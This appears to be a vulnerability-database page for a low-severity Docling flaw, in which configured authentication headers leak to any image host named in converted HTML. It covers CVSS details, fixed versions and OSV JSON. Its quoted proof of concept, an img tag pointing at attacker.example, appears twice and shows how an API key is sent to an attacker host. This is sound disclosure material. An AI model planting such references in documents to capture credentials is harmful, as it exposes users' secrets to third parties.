CVE-2026-105742: Docling Configured HTTP Headers Sent To Vulnerability

LOW
Advisory Identifier: GHSA-p3fw-7699-7926
CVSS 3.7
CWE-522 CWE-201
Published
Advisory Summary

CVE-2026-105742 is a LOW (CVSS 3.7) configured http headers sent to vulnerability (CWE-522: Insufficiently Protected Credentials) affecting Docling libraries in the PyPI ecosystem. The issue involves configured http headers sent to every remote image host named by a document. Remediation is available by upgrading affected packages to version 2.132.0.

CVE-2026-105742 at a Glance

CVE Identifier CVE-2026-105742
GHSA Identifier GHSA-p3fw-7699-7926
Severity LOW
CVSS v3.1 Base Score 3.7
CWE Classification CWE-522: Insufficiently Protected Credentials
Affected Product Docling
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 3.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-105742

To remediate this vulnerability, upgrade all affected Docling dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

docling fixed: 2.132.0
pip install docling>=2.132.0
docling-slim fixed: 2.132.0
pip install docling-slim>=2.132.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show docling

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-105742, inspect your installed packages using pip:

pip show docling

Analyze the terminal output to locate any version of Docling in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.132.0), your application is affected.

Note: The pip show docling command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-522: Insufficiently Protected Credentials, where the product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. In Docling, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `HTMLBackendOptions.headers` is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials. ### Details `docling/backend/utils/image_resource_loader.py` merges `options.headers` into each remote request without checking the destination against the source document's origin. `requests` strips only `Authorization` on a cross-host redirect, so custom headers such as `X-API-Key` or `Cookie` are also forwarded across redirects. ### Affected configurations - Affected: callers that set `headers` together with `enable_remote_fetch=True` and `fetch_images=True` (CLI: `--html-image-headers` with `--html-image-fetch remote` or `all`), and convert untrusted HTML. - Not affected: the default configuration. ### Impact Disclosure of the configured request headers, typically credentials, to a host chosen by the document author. ### Proof of concept ```html <img src="https://attacker.example/pixel.png"> ``` Converting this file with `HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."})` sends the key to `attacker.example`. Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c. ### Patches Fixed in docling 2.132.0 by [#4420](https://github.com/docling-project/docling/pull/4420). Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document. ### Workarounds Upgrade to 2.132.0. For older versions: Do not set `headers` when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.

CVE-2026-105742 Affected Docling Versions

2 component(s)
Fixed Versions:
2.132.0
Product / Package Ecosystem Affected Versions Fixed Version
docling
PyPI
≥ 2.95.0
< 2.132.0
2.132.0
docling-slim
PyPI
≥ 2.95.0
< 2.132.0
2.132.0

References

Frequently Asked Questions

What is CVE-2026-105742?
CVE-2026-105742 is a security vulnerability in Docling involving Configured HTTP headers sent to every remote image host named by a document under CWE-522: Insufficiently Protected Credentials.
Which Docling versions are affected?
Affected versions include releases prior to 2.132.0 across affected packages: docling, docling-slim.
What version fixes CVE-2026-105742?
Upgrading to 2.132.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is docling affected?
Yes, docling is affected in releases prior to 2.132.0. Upgrade your dependency to 2.132.0 or later.
Is docling-slim affected?
Yes, docling-slim is affected in releases prior to 2.132.0. Upgrade your dependency to 2.132.0 or later.
What is the CVSS score of CVE-2026-105742?
CVE-2026-105742 has a CVSS v3.1 base score of 3.7 (LOW) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2026-105742?
CVE-2026-105742 is classified under CWE-522: Insufficiently Protected Credentials (The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.).
How can I check PyPI dependencies for CVE-2026-105742?
Run the dependency tree command: 'pip show docling'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p3fw-7699-7926",
  "modified" : "2026-10-07T20:42:24Z",
  "published" : "2026-10-07T20:42:24Z",
  "aliases" : [ "CVE-2026-105742" ],
  "summary" : "Docling: Configured HTTP headers sent to every remote image host named by a document",
  "details" : "### Summary\n\n`HTMLBackendOptions.headers` is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.\n\n### Details\n\n`docling/backend/utils/image_resource_loader.py` merges `options.headers` into each remote request without checking the destination against the source document's origin. `requests` strips only `Authorization` on a cross-host redirect, so custom headers such as `X-API-Key` or `Cookie` are also forwarded across redirects.\n\n### Affected configurations\n\n- Affected: callers that set `headers` together with `enable_remote_fetch=True` and `fetch_images=True` (CLI: `--html-image-headers` with `--html-image-fetch remote` or `all`), and convert untrusted HTML.\n- Not affected: the default configuration.\n\n### Impact\n\nDisclosure of the configured request headers, typically credentials, to a host chosen by the document author.\n\n### Proof of concept\n\n```html\n<img src=\"https://attacker.example/pixel.png\">\n```\n\nConverting this file with `HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={\"X-API-Key\": \"...\"})` sends the key to `attacker.example`.\n\nOther items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.\n\n### Patches\n\nFixed in docling 2.132.0 by [#4420](https://github.com/docling-project/docling/pull/4420). Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.\n\n### Workarounds\n\nUpgrade to 2.132.0. For older versions:\n\nDo not set `headers` when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "docling"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.95.0"
      }, {
        "fixed" : "2.132.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "docling-slim"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.95.0"
      }, {
        "fixed" : "2.132.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/docling-project/docling/security/advisories/GHSA-p3fw-7699-7926"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-105742"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/docling-project/docling/pull/4420"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/docling-project/docling/commit/5e469137f275ffc443306a30d12a3a45bceb80fb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/docling-project/docling"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/docling-project/docling/releases/tag/v2.132.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-201", "CWE-522" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-07T20:42:24Z",
    "nvd_published_at" : "2026-10-05T22:16:56Z"
  }
}